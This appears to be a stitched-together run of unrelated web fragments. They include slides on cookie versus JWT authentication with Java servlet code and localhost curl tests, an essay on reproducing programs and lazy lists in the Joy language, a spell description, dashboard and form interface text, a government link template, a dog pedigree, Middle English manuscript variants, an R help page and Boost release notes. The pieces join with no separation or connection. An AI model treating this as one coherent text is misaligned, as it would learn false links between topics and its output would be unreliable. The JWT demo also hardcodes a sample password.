Each request is an independent transaction that is unrelated to any previous request.
This design simplifies the server implementation because there is no need to dynamically allocate storage to deal with conversations in progress.
We have to include additional informations in every request to make the server aware about an user session.
There are basically two different ways of implementing authentication for apps with a frontend and an API:
A cookie is a small piece of data sent from a website and stored in a user's web browser.
Every time the user loads the website, the browser sends the cookie back so that the website can identify the user.
When an user accesses on the website for the first time, the server will create a session object and a cookie that will be installed on browser.
When the user logs in, the server finds the requested user on the database and stores it on the session.
On the next requests the server identifies the user using the cookie and the page won’t need to ask for user credentials again.
The web is changing and the Cookie-Based authentication is not the best option anymore (but still an option)
Sessions
We need to store our sessions somewhere. By default they are just stored on server’s memory.
What if the server is rebooted?
And if we want to share the same session among different web servers?
Redis can help us to deal with this issue!
Mobile
Native mobile apps seems to have problems working with cookies.
If we want to provide a remote API service, maybe session auth is not the best solution.
Cross-site request forgery
Is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.
The attack works by including a link or script in a page that accesses a site to which the user is known to have been authenticated.
If the authentication informations are stored in a cookie, then the attempt by the user's browser to load the image will submit the withdrawal form with its cookie, thus authorizing a transaction without user's approval.
When an user logs in on the website, the server creates a token stored only by the client.
The token is validated by the server using a signature.
The user sends the token every time he wants to get restricted resources.
A JWT is an alphanumeric string composed by 3 sections divided by a dot
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzdHVkZW50IiwiaWF0IjoxNDA5NjY4OTkxfQ.4oYcZ3s_j_Kf8wWXB7bCIzqg9yh_dxlYcYwX5lcVeZw
The first part is a Base64 representation of the following header
{
"typ":"JWT",
"alg":"HS256"
}
A JWT is an alphanumeric string composed by 3 sections divided by a dot
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzdHVkZW50IiwiaWF0IjoxNDA5NjY4OTkxfQ.4oYcZ3s_j_Kf8wWXB7bCIzqg9yh_dxlYcYwX5lcVeZw
The second part is a Base64 representation of the following body
{
"iat":1300819300,
"exp":1300819380,
"sub":"joe"
}
A JWT is an alphanumeric string composed by 3 sections divided by a dot
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzdHVkZW50IiwiaWF0IjoxNDA5NjY4OTkxfQ.4oYcZ3s_j_Kf8wWXB7bCIzqg9yh_dxlYcYwX5lcVeZw
The third part is a HMAC SHA256 hash of the previous sections.
This operation is performed using a secret server key.
Tokens are not stored on the server. We don't need a session data store anymore.
Finding a session on database is likely to take more time than calculating an hash string.
A mobile application can handle easly tokens by saving them on local memory.
CSRF is avoided: tokens exist only in their own web application and are not sent automatically
In our example we will use a java library for the tokens creation/verification
com.nimbusds
nimbus-jose-jwt
3.1.1
Token creation
public class TokenController extends HttpServlet {
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response) {
response.setContentType("application/json");
try {
String username = request.getParameter("u");
String password = request.getParameter("p");
if(!(username.equals("student") && password.equals("mypass")))
throw new LoginFailedException(username, password);
JWSHeader header = new JWSHeader(JWSAlgorithm.HS256);
JWTClaimsSet claimsSet = new JWTClaimsSet();
claimsSet.setSubject(username);
claimsSet.setIssueTime(new Date());
SignedJWT signedJWT = new SignedJWT(header, claimsSet);
JWSSigner signer = new MACSigner(Properties.SHARED_SECRET);
signedJWT.sign(signer);
PrintWriter writer = response.getWriter();
writer.println(signedJWT.serialize());
response.setStatus(HttpServletResponse.SC_OK);
} catch (NullPointerException e) {
response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
e.printStackTrace();
} catch (IOException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
e.printStackTrace();
} catch (JOSEException e) {
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
e.printStackTrace();
} catch (LoginFailedException e) {
response.setStatus(HttpServletResponse.SC_BAD_REQUEST);
e.printStackTrace();
}
}
}
Token verification
public class UserFilter implements Filter {
...
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) {
HttpServletRequest request = (HttpServletRequest) servletRequest;
String token = request.getHeader("Authorization");
try {
SignedJWT signedJWT = SignedJWT.parse(token);
JWSVerifier verifier = new MACVerifier(Properties.SHARED_SECRET);
if(!signedJWT.verify(verifier))
throw new InvalidTokenException(token);
filterChain.doFilter(servletRequest, servletResponse);
} catch (Exception e) {
HttpServletResponse response = (HttpServletResponse) servletResponse;
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
e.printStackTrace();
}
}
...
}
web.xml
Archetype Created Web Application
Token
com.github.helloiampau.token.TokenController
Token
/token
Protected
com.github.helloiampau.token.ProtectedResource
Protected
/protected
User Filter
com.github.helloiampau.token.UserFilter
User Filter
Protected
Testing the token creation
$ curl -X POST -v http://localhost:8080/token/token\?u\=student\&p\=wrongmypass
...
> POST /token/token?u=student&p=wrongmypass HTTP/1.1
...
< HTTP/1.1 400 Bad Request
...
$ curl -X POST -v http://localhost:8080/token/token\?u\=student\&p\=mypass
...
> POST /token/token?u=student&p=mypass HTTP/1.1
...
< HTTP/1.1 200 OK
...
<
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzdHVkZW50IiwiaWF0IjoxNDA5NjY4OTkxfQ.4oYcZ3s_j_Kf8wWXB7bCIzqg9yh_dxlYcYwX5lcVeZw
Testing the token verification
$ curl -X GET -H "Authorization: wrong token" -v http://localhost:8080/token/protected
...
> GET /token/protected HTTP/1.1
...
> Authorization: wrong token
...
< HTTP/1.1 401 Unauthorized
...
$ curl -X GET -H "Authorization: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzdHVkZW50IiwiaWF0IjoxNDA5NjY4OTkxfQ.4oYcZ3s_j_Kf8wWXB7bCIzqg9yh_dxlYcYwX5lcVeZw" -v http://localhost:8080/token/protected
...
> GET /token/protected HTTP/1.1
...
> Authorization: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJzdHVkZW50IiwiaWF0IjoxNDA5NjY4OTkxfQ.4oYcZ3s_j_Kf8wWXB7bCIzqg9yh_dxlYcYwX5lcVeZw
...
< HTTP/1.1 200 OK
...
<
A super secret message


You touch a creature and can end either one disease or one condition afflicting it. The condition can be blinded, deafened, paralyzed, or poisoned.
You touch a creature and can end either one disease or one condition afflicting it. The condition can be blinded, deafened, paralyzed, or poisoned.


easywire
Home
Team
Tasks
Leaves
Projects
Timesheet
Contacts
Account
Dropdown
Dropdown Item
Dropdown Item
Dropdown Item
Dropdown Item
Navbar
Home
(current)
Link
Dropdown
Action
Another action
Something else here
Disabled
Search
Overview
Account Balance
$30,659.45
Pending
$19,500.45
Processed
$20,659.45


Side Panel
content
username
logout
fetching page.... please wait
Sample
User
Todo
Setup
Product
Account
Permission
Search


@*
* Copyright 2023 HM Revenue & Customs
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*@
@this()
@(
text: String,
call: Call,
target: Option[String] = None,
id: Option[String] = None,
classes: Option[String] = None,
textHidden: Option[String] = None
)
@hasHint = @{textHidden.exists(_.nonEmpty)}
@linkClasses = @{classes.getOrElse("govuk-link govuk-link--no-visited-state")}
@* The tag is split on purpose - to avoid inline-block whitespace problem *@
target="@t"} @id.map{id => id="@id" } @if(target == Some("_blank")){rel="noopener noreferrer"}
>@text@if(hasHint){@{textHidden.getOrElse("")}}


Derek Eder
@derekeder
RT @alan_uplc: Great interactive map, and lots of info. War on Drugs = War on specific neighborhoods. http://chicagosmilliondollarblocks.com/#10/41.8348/-87.6764
7/19/2015, 9:44:44 AM
Favs: 0
Retweets: 0
link← @derekeder Twitter archive
Derek Eder
@derekeder
RT @alan_uplc: Great interactive map, and lots of info. War on Drugs = War on specific neighborhoods. http://chicagosmilliondollarblocks.com/#10/41.8348/-87.6764
7/19/2015, 9:44:44 AM
Favs: 0
Retweets: 0
link


By Manfred von Thun, 21-MAR-05
Abstract: A program is called reproducing if running it creates another program which in turn is reproducing. The created program need not be identical with the program that created it. A program is called self-reproducing if running it creates another program identical to itself. This note describes how reproducing programs can be used to implement infinite or lazy lists, and how they might be used for other tasks. Importantly, these programs must not be self-reproducing.
Contents:
Self-reproducing and reproducing programs
Streams or infinite lists or lazy lists
Conventional lazy lists in Joy
Reproducing programs as lazy lists in Joy
Other reproducing programs
Concluding remarks
Self-reproducing and reproducing programs
In the programming world there has been a veritable industry for writing what are called self-reproducing programs. These are program which, when run, create a copy of themselves. Following terminology introduced by Hofstadter (19XX), these programs are often called Quines. A web search for "Quine" will find examples in many languages. Many of the examples are quite complex because the implementation language is not very suitable for the task. Other examples can be surprisingly compact.
In Joy a self-reproducing program is a quoted program [P] such that executing it with the i-combinator produces that very same program:
[P] i == [P]The simplest program that satisfies this equation is [[dup cons] dup cons]. The Joy page Recursion Theory has some discussion of this program and its relation to the y-combinator for recursion. Also included are two variant programs which on each execution by i create a program that is different from the one that created it:
[[false [not] infra dup rest cons] [not] infra dup rest cons] [[0 [1 +] infra dup rest cons] [1 +] infra dup rest cons]On successive executions by i the first quoted program produces others in which the initial false oscillates between true, false, true.., and the second quoted program produces others in which the initial 0 is incremented to 1, 2, 3.. for every execution. Programs like these are reproducing but not self-reproducing. Examples in other languages abound.
The two Joy programs above are mere curiosities. But they suggest variants
which promise useful programming techniques. One such technique is for
implementing infinite lists or streams. A computer implementation must of
course use a finite representation, so their evaluation is demand driven
or lazy: expressions are only evaluated when their value is needed.
Consequently they are also known as lazy lists. The next section describes
a conventional approach to their implementation, and the one following
that gives a conventional implementation in Joy. Then there is a section
that uses reproducing programs for implementing lazy lists in Joy. The
final section outlines some other possible uses of reproducing programs
in Joy.
Streams or infinite lists or lazy lists
A list or vector or sequence is essentially a function which takes natural numbers as arguments and returns some value which may be a number or anything else. The function need not be defined for arguments, but if it is defined for some number then it is also defined for all its predecessors. So the function may be defined for all natural numbers and hence is infinite, or it may be defined only for an initial segment and hence be finite. If the function is defined nowhere, then the list is empty.
Finite sequences are normally implemented extensionally: the names of the members are given extensionally and in their order, and they constitute the successive values of the function which the sequence implements. This method is not possibble for infinite sequences, so they have to be implemented intensionally: some program has to be provided that can be used to compute the members. Of course that program has to be finite.
There are many useful operations on sequences, and for an implementationn some of these have to be chosen as primitives. Unfortunately what is efficient in one implementation tends to be inefficient in the other. If the implementation uses arrays of consecutive memory locations, then indexing is particularly efficient. If the implementation uses linked structures, then the first and rest operations are particularly effficient.
For infinite sequences a finite program or specification has to be found, and the choice depends on which access requirements dominate. For efficient random access the implementation must use an ordinary function, defined for all natural numbers. But for efficient sequential access another implementation recommends itself. This will be the case when the function f(n+1) is most readily computed from g(f(n)), where g(x) is particularly efficient to compute. For example, the powers of 2 (1 2 4 8 ..), the n-th can be doubled to give the next power, and the doubling function is easier to compute than exponentiation. Similarly, in the sequence of primes (2 3 5 7 11 ..) the n-th can be used as a starting point in searching for the next prime. An implementation should provide a function to find the first of the sequence and a function to compute the rest of the sequence. So between them the first and rest function characterise the sequence.
The first element of the sequence can be given literally, just as in a finite sequence. But the rest of the sequence is infinite, and hence has to be given as a program. When that program is called it must compute the rest of the original sequence, and that of course consists of its own first element and a program to compute its ownn rest. The entire sequence thus consists of a pair of two things: a literal first value, and a program to compute the rest.
The pair is most conveniently constructed from the first value and the
next function. For the infinite list of all natural numbers these are 0
and the successor function, for the list of powers of two they are 1 and
the doubling function. To construct the pair one can use a program.
Friedman and Felleisen (1984, p 181) give a recursive Lisp program for
doing just this.
The program is called str-maker (for stream maker),
and the only other primitives needed are str-first and str-rest
for computing the first and the rest of a stream.
The next section describes an implementation
in Joy whose core is modelled on their Lisp
programs.
Conventional lazy lists in Joy
This section and the next consists of a run of Joy that has been extensively commented. Note that several standard libraries are loaded. The first part consists of the definitions of the three primitives needed for building a stream, and for accessing its first an its rest.
JOY - compiled at 14:53:58 on Mar 14 2003 (NOBDW) Copyright 2001 by Manfred von Thun usrlib is loaded inilib is loaded numlib is loaded agglib is loaded seqlib is loaded DEFINE str-maker == # n [N] => [n [N(n) [N] str-maker]] dupd dup [i] dip [str-maker] cons cons [] cons cons; str-first == first; str-rest == second i.Here follow definitions of several streams that will be used later. The first three are streams of numbers, and the fourth is a reminder that the elements of a stream do not have to be numbers. Also included are two of the actual streams that have defined. Observe that in each case the stream consists of two parts: a first value and a quotation for computing the rest of the stream. Note also that the quotation recursively uses the str-maker operator, but the recursive call only occurs when the quotation is executed.
DEFINE str-ints == 0 [succ] str-maker; str-pows == 1 [2 *] str-maker; str-prim == 2 [succ [prime not] [succ] while] str-maker; str-brak == [] [[] cons] str-maker. str-ints. [0 [1 [succ] str-maker]] str-pows. [1 [2 [2 *] str-maker]]
Here are a several definitions of operations on streams that will be used later. The names correspond to similar list operations in Joy. Note that the all are defined in terms of just the two primitives str-first and str-rest, and otherwise plain Joy.
 Sn] [null] [pop pop []] [[str-uncons] dip pred] [cons] linrec.Finally, here are examples of these defined operations applied to several of the streams.
str-brak. [[] [[[]] [[] cons] str-maker]] str-brak str-third. [[[[]]]] str-pows. [1 [2 [2 *] str-maker]] str-pows str-tenth. 1024 str-ints 5 str-take. [0 1 2 3 4] str-pows 10 str-take. [1 2 4 8 16 32 64 128 256 512] str-prim 10 str-drop 10 str-take. [31 37 41 43 47 53 59 61 67 71]
This section is like the previous one, except that the lazy lists are implemented as reproducing programs. Recall from the first section the following reproducing Joy program:
[[0 [1 +] infra dup rest cons] infra dup rest cons]Since the combination "dup rest cons" occurs frequently, it is convient to introduce an abbreviation "dureco". This is the first definition below. The other three definitions are the three primitives for building a stream and for accessing its first and rest. The prefix "rep-" is a reminder that in this implementation a lazy list is a reproducing program - for the rest operator, to be precise.
DEFINE dureco == dup rest cons; rep-maker == # n [N] => [[n [N] infra dureco] [N] infra dureco] [infra dureco] cons cons dureco; rep-first == first first; rep-rest == i.Here follow definitions of the same streams as in the previous section. Note that the definions are identical, except for the prefix "rep-" instead of "str-". Two of the constructed streams are shown. Note in particular that, in contrast to the corresponding definitions in the previous section, they do not contain a recursive reference to the operator rep-maker - this is due to the reproducing implementation.
DEFINE rep-ints == 0 [succ] rep-maker; rep-pows == 1 [2 *] rep-maker; rep-prim == 2 [succ [prime not] [succ] while] rep-maker; rep-brak == [] [[] cons] rep-maker. rep-ints. [[0 [succ] infra dureco] [succ] infra dureco] rep-pows. [[1 [2 *] infra dureco] [2 *] infra dureco]
As before, here are the definitions of some core operators and some example applications.
 Sn] [null] [pop pop []] [[rep-uncons] dip pred] [cons] linrec. rep-brak. [[[] [[] cons] infra dureco] [[] cons] infra dureco] rep-brak rep-third. [[[[]]]] rep-pows. [[1 [2 *] infra dureco] [2 *] infra dureco] rep-pows rep-tenth. 1024 rep-ints 5 rep-take. [0 1 2 3 4] rep-pows 10 rep-take. [1 2 4 8 16 32 64 128 256 512] rep-prim 10 rep-drop 10 rep-take. [31 37 41 43 47 53 59 61 67 71]Finally, a reminder that the elements of a stream can be anything. So here is a stream whose members are lists of two things: the ordinal number of the member and, in this case, a power of two. Of course such a stream could have been defined in the previous section.
DEFINE rep-n-th-pow == [0 1] [[succ [2 *] dip] infra] rep-maker. rep-n-th-pow 10 rep-drop 5 rep-take. [[10 1024] [11 2048] [12 4096] [13 8192] [14 16384]]
The output from this and the preceding section was produced by running the input file jp-reprodtst.joy which produced the output file jp-reprodtst.out.
The implementation of lazy lists in this and the preceding section
is different from the quite large older Joy library for lazy lists:
lazlib.joy
("lazy" infinite and finite lists) with
laztst.joy
test file and
laztst.out
output.
This library also contains definitions of several useful
combinators, and the test file exercises them.
There is no reason why the implementation in the preceding
two sections could not be extended in a similar way.
Other replicating programs
Apart from the replicating lazy lists of the previous section, there are other uses of replicating programs that deserve exploration.
The replicating lists of the previous two sections were all based on a simple next function which uses the first element of the list to determine the first element of the rest of the list. This does not work well for some lists, for example the list of all (natural) logarithms of the positive integers: 0, 0.693147, 1.09862, 1.38629, 1.60944, ... . A program for this list is:
[ [0 1 [pop succ dup log] infra durereco] [pop succ dup log] infra durereco ]where durereco has been defined as: dup rest rest cons. Then, as in the previous section, rep-first and rep-rest will find the first element of the list and the rest of the list. Such a list can be constructedd from three parameters, 1, [succ] and [log], by a program similar to rep-maker but somewhat more complex. A different set of parameters will then givve a different list which is also not based on a next function of its members.
There are also variant styles of lazy lists. The first line below is the style of the previous section. In the second line the program consists of two quotations, in the third of a value and above that two quotations. In all three n is a natural number, the first of the list.
(1) [[n [succ] infra dup rest cons] [succ] infra dup rest cons] (2) [n [succ] infra dup rest ] [[succ] infra dup rest ] (3) n [[succ] dip dup ] [[succ] dip dup ]The rest of the list for styles (1) (2 (3) is formed by the i-combinator. The first element of the list in style (1) is found by first first, as in the previous section. In style (2) it is found by pop first, and in style (3) by pop pop. So for finding the rest of the list style (3) is more efficient than style (2), which is more efficient than style (1). But for other manipulations the exact opposite is the case, especially for stack manipulations.
In all the replicating programs so far the replication is, in a sense, internal. Replication steps do not involve the stacck below the programs. But this need not be so.
First, there are replicating programs which on every execution deposit something on the stack below the replicating program. One way to do that is to use the lists of the previous section. Assume such a list is on top of the stack. To leave its first element and above that its rest on the stack, do this: rep-uncons. Alternatively, to leave the first of the rest and above that the rest, do this: rep-rest dup rep-first swap. But in neither of these does the replication and depositing occur just by the i-combinator. To achieve this, the replicating program must do its own depositing, and not rely on anything external. Here is an example, it similates radioactivity or diffusion. The internal quantity, 1.0 at the start, is halved at every step and the other half "leaks out" and is deposited on the stack below the replicating program.
[ [1.0 [2 / dup] infra uncons dureco] [2 / dup] infra uncons dureco ]Again, quotations of this kind can be constructed by a variant of rep-maker; the quotation above would be constructed from the parameters 1.0 and [2 / dup].
Second, whereas the program above left something on the stack after each replication, it is also possible to do the reverse: to remove something from the stack from below the program and incorporate what has been removed into the program. Here are two examples. The first is a numeric accumulator, it starts with an internal state 0 which has a number from below the stack added to it by every reproduction. The second is also an accumulator, but it starts with an empty list which has an element from below the quotation cons'ed into it by every reproduction.
[ [0 cons [+] infra dureco] cons [+] infra dureco ] [ [[] cons [swons] infra dureco] cons [swons] infra dureco ]Another variant of rep-maker could construct these, from parameter 0 and [+], or [] and [swond], respectively.
Third, there are reproducing programs that change the stack below and keep an internal count of how many times they have been called. To start, here is a program which will square what it finds below itself on the stack, but without such a count:
[ [[dup *] dip dup cons] [dup *] dip dup cons ]And the following reproducing program does the same, except that it keeps an internal call-count of the number of times that it has performed a squaring and a reproduction:
[ [0 [succ] infra [dup *] dip dureco] [succ] infra [dup *] dip dureco ]Again, a variant of rep-maker could construct such programs, in this case from [dup *].
Fourthly, here is a reproducing program which picks up quotations from below on the stack and executes them on its own internal stack which starts off as []:
[ [[] uncons [swap infra] dip cons dureco] uncons [swap infra] dip cons dureco ]If we push two qutations, [dup *] and then [2 3 +], then this program and finally do i i, then the internal stack will be [25].
Abelson and Sussman (1985 "SICP", pp 242-292), in their wonderful early book on Scheme, have a large section on streams, much of it general and independent of any implementation. But they also give a particular implementation which uses two functions, delay and force. The delay funnction creates a thunk, a parameterless lambda expression, which can be evaluated by the force function. (Folklore has it that the name "thunk" derives from the noise when such a beast is dropped onto the runtime stack.) In their simplest form these correspond very roughly to what in Joy would be creating a quotation and executing it by i. In another version force is implemented as "call by need", which is a simple example of "memoising optimisation". Here force evaluates a delayed (unevaluated) expression the first time it is needed, and simply returns that value on later occasions. Eager (non-lazy) languages such as Scheme use call by value as the default, and to implement a call by need version of force requires assignment. This uses a variable "already evaluated" which becomes part of the delayed expression. Lazy languages such as Turner's KRC and Miranda, and their modern descendant Haskell use graph rewriting as the implementation, and consequently call by need is the default.
An implementation of call by need in Joy would require a new force combinator which is like the i-combinator except that it also modifies the quotation to contains just the single value which the execution of the quotation left on top of the stack. Normally, but not necessarily, the quotation would be the Joy equivalent of a thunk: its executionn does not access the stack below. An interaction might look like this:
DEFINE five == [2 3 +]. five. => [2 3 +] five i. => 5 five. => [2 3 +] (* as before *) five force. => 5 (* also changes quotation *) five. => [5] (* note change *) five i. => 5 (* of course *) five force => 5 (* cannot simplify further *) five. => [5] (* first change is permanent *)
[Note to myself: The force funnction must change the first element of the quotation, not the list-node for the quotation. Because in the current implementation of Joy definitions are not gc'ed, this will not work if (1) the quotation is in a definition AND (2) the result value (5 above) is a list or other quotation. So the implementation of force must check that the result value is a number, char, string, set or symbol. In a future implementation of Joy the symbol table management for definitions needs to be changed so that definitions can be gc'ed - at a cost of course. This would also be necessary if runtime changes (assignments?) are being contemplated.]
References:
H. Abelson and G.J. Sussman with J. Sussman, 1985, Structure and Interpretation of Computer Programs, MIT Press, Chicago, Mass.
D.P. Friedman and M. Felleisen, 1984, The Little Lisper, 2nd edn, Science Research Associates, Chicago.
Back to Homepage for Manfred von Thun


| Pedigree of : |
| Staghorn's Lady of Leisure (a.k.a. Lizzy) |
| Born: , 2008 |
|
Ch Wilcare Liesure Suit Larry |
Ch Lubberrline Pumpernickle |
Ch Hunt Club Clayview Brown Derby
|
Hunt Club Clayview Eli |
| HUnt Club Clayview Burnt Toast | |||
|
Lubberline Chocolate Factoryl |
Epochs Edward Of BonaVenture | ||
| Lubberline Becket | |||
|
Ch WillCare's Godiva
|
Ch Borador Willcare Master Copy
|
Ch Willcares's Masterpiece CD JH | |
|
Boradors Not Bad For Brown
|
|||
|
Ch Willcare Fortune Of The Nite
|
Ch Lindall Chase JH | ||
| Willcare Birchangreen Cybill |
|
Parents
|
Grand Parents
|
Great Grand Parents
|
Great Great Grand Parents
|
|
Skyland's Hidin at Staghorn |
Trident's Hash Brown
|
Am Ch Stonecrest's Davy Crockett
|
Am Ch Stonecrest Lucky Star |
| Chablais Madelyn Of Stonecrest WC | |||
|
Chablais Sandpiper At Trident
|
Am Can Ch Bootgate Chief Producer
|
||
|
Ch Chablais Shakespeare Simone
|
|||
|
Ch Corhampton's Inka Dinka Doo
|
Ch Corhampton's Hot n'Spicy
|
Ch Easthill Touch Of Basil | |
| Ch Corhampton's Anisette | |||
|
Ch Rustylane's Corhampton Clover
|
AmCn Ch Corhampton Barley O'Brady CD WC JH | ||
| Ch Killingsworth Cinmn Rustylane |
Copyright © 2008 Harold
deGroot - Last Update :
November 2, 2008
All Rights Reserved
Webmaster: webmaster@staghorn-labs.com


FastForm
Menu
Home
My Account
Log In
Bill of Sale
Who is the Seller?
Name:
Address:
City:
State:
- State -
State1
State1
State1
State1
Zip code:
Low Priority
Normal Priority
High Priority
Email me a copy of this message
I am a human and not a robot


Menu / Icons
This sample shows how to show/hide icons in Menu directive. By clicking on check box on the right, you can change the built-in property:
- showIcons - determines whether menu items are displayed with an icon
By default whenever root menu item is hovered, the submenu appear when menu is clicked. By setting the openOnHover property to true, the submenus will pop-up when mouse cursor hovers over the root menu longer than 500ms.


Habitat
Likitung lives in open plains, in the fields, very rarely they can be found near water bodies, in forests and even cities.


| 1153 | (A) | witħ Nakirs and grete noyse neghen to þe wallis |
| 1156 | (C) | witħ nakeres & grete noyse . þey nyȝede þe walles |
| 1139 | (D) | wiþ nakres & grete noyse þei ny to þe wallis |
| 1116 | (E) | with nakers & greet noyse . euyn to þe walles . |
| (Ex) | ---- no text ---- | |
| 1177 | (L) | with nakerers & grete noyce neȝen þe walles |
| (P) | ---- no text ---- | |
| 1128 | (U) | witħ nakers and grete noyse / thei neghen to the walles |
| 217 | (V) | with Nacornes & grete noise . neghen þe walles |


About Handy Text Toolbox
Handy Text Toolbox is a simple text toolbox that tells you basic stats about whatever you are writing, such as the number of words, number of characters, unique words, etc. The toolbox also keeps useful stats handy, such as character limits for a Tweet on Twitter, description length for Google and average post length on Facebook. For longer text content, the toolbox also has stats such as sentences, paragraphs and pages. These are the very basic stats often required when writing any sort of content, be it a blog post or a long article or even a social media post. Handy Text Toolbox is designed to show you everything in one place without unnecessary hassle.
We often compose longer text content on larger screen devices such as tablets and laptops. For people writing very long content, the toolbox also shows the average reading time (based on 275 words per minute reading pace), average speaking time (based on 180 words per minute speaking pace) and average writing time (based on 90 characters per minute writing pace). For people focusing on readability, the toolbox also generates the Flesch Reading score in real time giving you a fair estimate of the readability of the text.
Apart from the general features, the toolbox also has options to load content from a text file on your device. Whatever you type here is also saved in the browser to prevent accidental loss of data, whatever you type is by default safe from closing the tab accidentally or if the PC/browser crashes, all you have to do is to open this page again. We often want to share what we write and hence the editor also has an option to share content via a unique URL.


...in 3 (relatively) simple steps
Basic structure is section > wrapper > Bootstrap columns.
The site is made up of HTML5 sections, one for each of the coloured horizontal blocks. The sections are the main content groups and have their colours set according to CSS. The z-index is 2 because so they stand out above the hero section, which is -1.
Inside the sections, there are wrapper divs. The wrapper divs constrain the content of the sections, by setting a max-width. This way the content is easily readable and doesn't look too sparse on large screens.
Finally, inside the wrapper divs, there are Bootstrap responsive columns. This allows the actual content to reflow and be responsive on a wide variety of screen sizes, from small phones and mobile devices, to large desktop computer displays.
An example from my site:
Using the slick jQuery plugin
The slick plugin is fairly simple, just include jQuery at the bottom of your body tag and then make a div for the slideshow, with a div inside for each slide. Give your slideshow div a class, and initialize the slick plugin on your page load.
When it is done, it will look something like this:
For reference, mine looks more like this:
Using the Lightbox jQuery plugin
The Lightbox plugin is also fairly simple. Include the plugin and CSS, and set up your HTML content. This one runs on page load automatically.
You have a link surrounding an image. The link href goes to the large version of the image to show on click, and the small one is the thumbnail to click on. It can just be text, or anything, really. I have combined the slick and Lightbox plugins in my sliders.
For reference, mine looks like this:
There are a few attributes to set.
There's more, but those are the main areas to focus on. You can check out all the code on my GitHub


| run_mavcl {voteswitchR} | R Documentation |
Runs the Mixed Aggregate Varying Choice Set Logit (MAVCL)
model via rstan
. By default, the model includes election-cell-specific
intercepts (i.e., random intercepts for each cell of an election-specific
voter transition matrix).
run_mavcl( data, y_names, null_model = FALSE, main_predictor, predictor_continuous = TRUE, moderator = NULL, moderator_continuous = TRUE, other_covariates = NULL, random_slopes = FALSE, re_parties = FALSE, re_elections = FALSE, re_countries = FALSE, iter = 2000L, warmup = 1000L, thin = 2L, chains = 2L, cores = parallel::detectCores(), max_treedepth = 15, adapt_delta = 0.8, seed, parallelize = FALSE, savename = "mavcl" )
data |
A data object generated via |
y_names |
A vector of column names for vote switching counts, as generated
by |
null_model |
Logical; if |
main_predictor |
Column name of the main predictor of interest. |
predictor_continuous |
Logical; if |
moderator |
Column name of a moderator to be interacted with the main
predictor or |
moderator_continuous |
Logical; if |
other_covariates |
Character vector that specifies the column name of
background covariates. Note: Categorical variables must be passed as factors
via |
random_slopes |
Logical; if |
re_parties |
Logical; if |
re_elections |
Logical; if |
re_countries |
Logical; if |
iter |
A positive integer specifying the number of iterations for each chain (including warmup). The default is 2000. |
warmup |
A positive integer specifying the number of warmup (aka burnin)
iterations per chain. If step-size adaptation is on (which it is by default),
this also controls the number of iterations for which adaptation is run (and
hence these warmup samples should not be used for inference). The number of
warmup iterations should be smaller than |
thin |
A positive integer specifying the period for saving samples. The default is 1, which is usually the recommended value. |
chains |
A positive integer specifying the number of Markov chains. The default is 4. |
cores |
Number of cores to use when executing the chains in parallel,
which defaults to 1 but we recommend setting the |
seed |
The seed for random number generation. The default is generated
from 1 to the maximum integer supported by R on the machine. Even if
multiple chains are used, only one seed is needed, with other chains having
seeds derived from that of the first chain to avoid dependent samples.
When a seed is specified by a number, |
parallelize |
Logical; if |
savename |
A character that specifies the file name of a log file. |
Returns an object of class mavcl_est
: A list that
includes estimates and auxiliary information.


Cookiecutter Introduction
There is a lot to be said about using the cookiecutter tool. Familiarize yourself with its features.
What-if fly forward Introduction
While we cannot predict the future, use your labelled data to perform what-if scenario planning.
Economic Proxy data Introduction
Find out how to create shock profile data from economic indicators for use with the E³ engine.


R.attr.focusable
attribute's value can be found in the R.styleable.View
array.R.attr.theme
attribute's value can be found in the R.styleable.View
array.R.attr.paddingEnd
attribute's value can be found in the R.styleable.View
array.R.attr.paddingStart
attribute's value can be found in the R.styleable.View
array.R.attr.theme
attribute's value can be found in the R.styleable.View
array.R.attr.background
attribute's value can be found in the R.styleable.ViewBackgroundHelper
array.R.attr.backgroundTint
attribute's value can be found in the R.styleable.ViewBackgroundHelper
array.R.attr.backgroundTintMode
attribute's value can be found in the R.styleable.ViewBackgroundHelper
array.Profile
of a user and the mood history of that user.R.attr.id
attribute's value can be found in the R.styleable.ViewStubCompat
array.R.attr.inflatedId
attribute's value can be found in the R.styleable.ViewStubCompat
array.R.attr.layout
attribute's value can be found in the R.styleable.ViewStubCompat
array.@[+][package:]type:name
"
or to a theme attribute in the form "?[package:][type:]name
".


April 28th, 2020 03:57 GMT
New Libraries: Nowide, StaticString. Updated Libraries: Align, Any, Asio, Assert,
Atomic, Beast, Context, Conversion, DateTime, DLL, DynamicBitset, Flyweight,
Geometry, GIL, Histogram, ICL, IO, LexicalCast, Log, Math, Mp11, MultiIndex,
Multiprecision, Outcome, PolyCollection, Stacktrace, Test, ThrowException,
TTI, TypeIndex, Utility, Variant, Variant2, WinAPI.
December 11th, 2019 18:06 GMT
Updated Libraries: Asio, Atomic, Beast, Circular Buffer, Context, Endian, Filesystem,
Functional/Factory, GIL, Histogram, Log, MPI, Math, Multiprecision, Outcome,
PolyCollection, Preprocessor, Smart Pointers, Test, VMD.
August 19th, 2019 15:31 GMT
New Libraries: Variant2. Updated Libraries: Align, Any, Asio, Beast, CircularBuffer,
Container, Context, Conversion, Core, DynamicBitset, Endian, Fiber, Filesystem,
Flyweight, Histogram, Iostreams, Interprocess, Intrusive, LexicalCast, Log,
Math, Metaparse, Move, MultiArray, MultiIndex, Outcome, Parameter, PtrContainer,
PolyCollection, SmartPtr, Stacktrace, Test, Utility, Uuid, Variant, Yap.
